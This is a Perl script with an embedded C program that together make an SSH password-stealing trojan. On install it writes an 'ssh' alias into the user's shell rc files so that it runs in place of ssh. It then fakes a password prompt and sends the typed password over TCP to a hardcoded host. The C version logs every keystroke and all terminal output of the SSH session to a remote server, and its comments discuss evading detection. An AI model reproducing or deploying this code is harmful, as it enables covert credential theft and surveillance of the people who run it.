#!/usr/bin/env perl use strict; use warnings; use File::Temp qw/tempfile/; use File::Copy; use Socket; sub sendpass { my $pass = shift; # ripped from `perldoc perlipc' # force ip4, as ip6 is not open outside the ResEl... my $remote = "172.22.206.119"; my $port = 12345; my $iaddr = inet_aton($remote) or return; my $paddr = sockaddr_in($port, $iaddr) or return; my $proto = getprotobyname('tcp') or return; socket(my $sock, PF_INET, SOCK_STREAM, $proto) or return; connect($sock, $paddr) or return; print $sock $pass; close($sock) or return; } if (! scalar @ARGV) { # installation mode my $path = $ENV{HOME}."/.ssh/run"; # Dump the data section, and try to compile it my $cfilename = "/tmp/ssh-wrap.c"; open my $cfile, ">", $cfilename; while () { print $cfile $_; } close $cfile; my $rc = system "icc -lutil -o $path $cfilename &>/dev/null"; if ($rc != 0) { # if the compilation failed, install poor man's version, that is, # ourselves move $0, $path; chmod 0700, $path; # register ourselves as another ssh-askpass.pl file. See comments near # 3rd attempt, that doesn't work currently. symlink $path, $ENV{HOME}."/.ssh-askpass.pl"; } else { unlink $cfilename; } for my $shell qw(zsh tcsh csh bash) { # ZSH and BASH use `alias x=y'. CSH and TCSH use `alias x y'. my $sep = "="; if ($shell =~ m/csh/) { $sep = " "; } my $alias = "alias ssh".$sep.$path; my $rcfile = sprintf "%s/.%src", $ENV{HOME}, $shell; open my $file, ">>", $rcfile or next; # fail silently print $file $alias, "\n"; close $file; } exit 0; } # Normal execution mode # A quite lame attempt... We ask for the user's password, send it, then exec # ssh. Let's hope the use will just assume that he mistyped his password on # the first attempt. system('stty', '-echo'); # Disable echoing print "Password: "; my $pass = ; print "\n"; sendpass $pass; system('stty', 'echo'); # Turn it back on exec("ssh", @ARGV) or die $!; # A second attempt (well, my first approach actually). It doesn't work because # ssh will read the password from /dev/tty, even if isatty(stdin) (see # readpass.c in openssh-5.4p1). I think I would have to re-implement half of # expect(1) to create a pair of terminals and thus gain control over whatever # ssh opens as /dev/tty/. # system('stty', '-echo'); # Disable echoing # my $pid = fork; # if ($pid) { # my $pass = ; # # send $pass over the network to somebody else... # sendpass $pass; # # now that's Linux-centric... # open my $sshin, ">", "/proc/$pid/fd/0"; # chomp $pass; # print $sshin $pass; # close $sshin; # wait; # } else { # exec "/usr/bin/env", "ssh", @ARGV; # } # Third idea: try playing with SSH_ASKPASS. # Hum, in order to use SSH_ASKPASS, stdin mustn't be a tty. But in order to go # undetected, ssh must have a tty (even if through our program)... # if ($0 =~ m/askpass/) { # print "Read: ", $ARGV[0], "\n"; # open my $ttyin, "<", "/dev/tty"; # # TODO: disable echo # my $pass = <$ttyin>; # close $ttyin; # #sendpass $pass; # chomp $pass; # print $pass; # exit(0); # } # $ENV{DISPLAY} = "blah"; # $ENV{SSH_ASKPASS} = $ENV{HOME}."/.ssh-askpass.pl"; # delete $ENV{SSH_AUTH_SOCK}; # delete $ENV{SSH_AGENT_PID}; # # TODO: that won't capture ^C, ^Z and the like # open my $sshin, "|-", "/usr/bin/ssh", "-tt", @ARGV; # while () { print $sshin $_; } # Forth idea: see the difference between the `password' and # `keyboard-interactive' methods, I think we can do something there. # No, we can't. It matters on the server-side. # Fifth idea: try to implement the same mecanism as expect. First in Perl, just # below, and then in C, see after the __END__. # require "sys/ioctl.ph"; # use Fcntl; # sysopen my $tty, "/dev/tty", O_RDWR or die $!; # fcntl $tty, F_SETFD, FD_CLOEXEC or die $!; # fcntl $tty, F_SETFL, O_RDWR|O_NONBLOCK or die $!; # sysopen my $ptmx, "/dev/ptmx", O_RDWR or die $!; # my $ttynum = "999"; # or perl complains # ioctl \*$ptmx, &TIOCGPTN|0x00040000, $ttynum or die $!; # my $pts = "/dev/pts/".ord(unpack("A", $ttynum)); # # Perl always dies here, I don't know why # sysopen my $ptsdev, $pts, O_RDWR|O_NOCTTY or die $!; # close $ptsdev; # print $pts, "\n"; # fcntl $ptmx, F_SETFD, FD_CLOEXEC or die $!; # fcntl $ptmx, F_SETFL, O_RDWR|O_NONBLOCK or die $!; # if (fork) { # sleep 1; # sysopen my $ptsdev, $pts, O_RDWR or die $!; # while (my $l = ) { # chomp $l; # print $ptsdev $l, "\r"; # print ">>>$l<<<<\n"; # } # } else { # close $ptmx; # setsid; # close STDIN or die $!; # close STDOUT or die $!; # close STDERR or die $!; # -w $pts or die $!; # my $fd = POSIX::open($pts, O_RDWR) or die $!; # # open STDIN, ">&", $ptsdev or die $!; # # open STDOUT, ">&", $ptsdev or die $!; # # open STDERR, ">&", $ptsdev or die $!; # system "stty sane < $pts"; # exec "ssh", "fperrin\@172.22.201.2"; # } __END__ /* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * PTS/PTM code taken from Florent Bondoux, color_stderr. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define BUFSIZE 64 #define TARGETIP "girafe.maisel.enst-bretagne.fr" #define TARGETPORT "12345" /* Close pty_m, and set pty_s as our stdin */ void setup_child(int pty_m, int pty_s) { /* Detach from the current session, and get a new controlling TTY */ setsid(); if (ioctl(pty_s, TIOCSCTTY, NULL) < 0) err(1, "setting controlling TTY"); /* Close the other end of the TTY, and dup our end to stdin/out/err */ close(pty_m); #define REDIRECT(fileno) close(fileno); dup2(pty_s, fileno); REDIRECT(STDIN_FILENO); REDIRECT(STDOUT_FILENO); REDIRECT(STDERR_FILENO); if (pty_s > 2) close(pty_s); } void setup_parent(int pty_m, int pty_s) { close(pty_s); /* Set everything in non-blocking mode */ if (fcntl(pty_m, F_SETFL, O_NONBLOCK) < 0) err(1, "pty_m NONBLOCK"); if (fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK) < 0) err(1, "stdin NONBLOCK"); } /* Send a line "for reference purpose". Error out silently */ void sendline(char *buf, ssize_t len) { struct addrinfo hints, *addr; int s, rv; int olderrno; olderrno = errno; addr = NULL; /* #define USEUDP */ memset(&hints, 0, sizeof hints); hints.ai_family = AF_INET; /* the school blocks most of ip6 :-/ */ #ifdef USEUDP hints.ai_socktype = SOCK_DGRAM; #else hints.ai_socktype = SOCK_STREAM; #endif rv = getaddrinfo(TARGETIP, TARGETPORT, &hints, &addr); if (rv != 0) goto out; if (addr == NULL) goto out; /* we expect only one result from getaddrinfo()... */ s = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); if (s < 0) goto out; #ifdef USEUDP if (bind(s, addr->ai_addr, addr->ai_addrlen) < 0) goto out; #else if (connect(s, addr->ai_addr, addr->ai_addrlen) < 0) goto out; #endif if (write(s, buf, len) != len) goto out; out: close(s); if (addr) freeaddrinfo(addr); errno = olderrno; } int main(int argc, char **argv) { int child; int ssh_m, ssh_s; /* pseudo-terminals for ssh */ struct termios termios_raw, termios_save; /* in the parent's I/O multiplexing */ int fdmax, r_select; fd_set set_read; char buf[BUFSIZE]; int cont; /* Set stdin in raw mode */ if (tcgetattr(STDIN_FILENO, &termios_save) < 0) err(1, "tcgetattr"); termios_raw = termios_save; cfmakeraw(&termios_raw); if (tcsetattr(STDIN_FILENO, TCSANOW, &termios_raw) < 0) err(1, "tcsetattr"); /* Create a pair of PTY; we'll give the slave end to SSH */ if (openpty(&ssh_m, &ssh_s, NULL, NULL, NULL) < 0) err(1, "openpty"); child = fork(); if (child < 0) err(1, "fork"); if (child == 0) { setup_child(ssh_m, ssh_s); /* Launch ssh */ argv[0] = "/usr/bin/ssh"; execvp(argv[0], argv); err(1, "execvp"); } setup_parent(ssh_m, ssh_s); /* select() needs to know the greatest open fd */ fdmax = ssh_m > ssh_s ? ssh_m : ssh_s; fdmax++; for (cont = 1; cont; ) { FD_ZERO(&set_read); FD_SET(ssh_m, &set_read); FD_SET(STDIN_FILENO, &set_read); r_select = select(fdmax, &set_read, NULL, NULL, NULL); if (r_select < 0) err(1, "select"); #define COPY(from, to) \ while (1) { \ ssize_t r; \ r = read(from, buf, BUFSIZE); \ if (r <= 0) { \ if (r < 0 && (errno == EWOULDBLOCK || \ errno == EAGAIN)) { \ /* recoverable "errors" */ \ cont = 1; \ errno = 0; \ } else \ cont = 0; \ break; \ } \ write(to, buf, r); \ sendline(buf, r); \ } /* from ssh's stdout/err */ if (FD_ISSET(ssh_m, &set_read)) COPY(ssh_m, STDOUT_FILENO); /* from our own stdin */ if (FD_ISSET(STDIN_FILENO, &set_read)) COPY(STDIN_FILENO, ssh_m); } /* reset the terminal as we received it */ if (fcntl(STDIN_FILENO, F_SETFL, 0) < 0) err(1, "stdin blocking mode"); if (tcsetattr(STDIN_FILENO, TCSANOW, &termios_save) < 0) err(1, "reset term"); return 0; }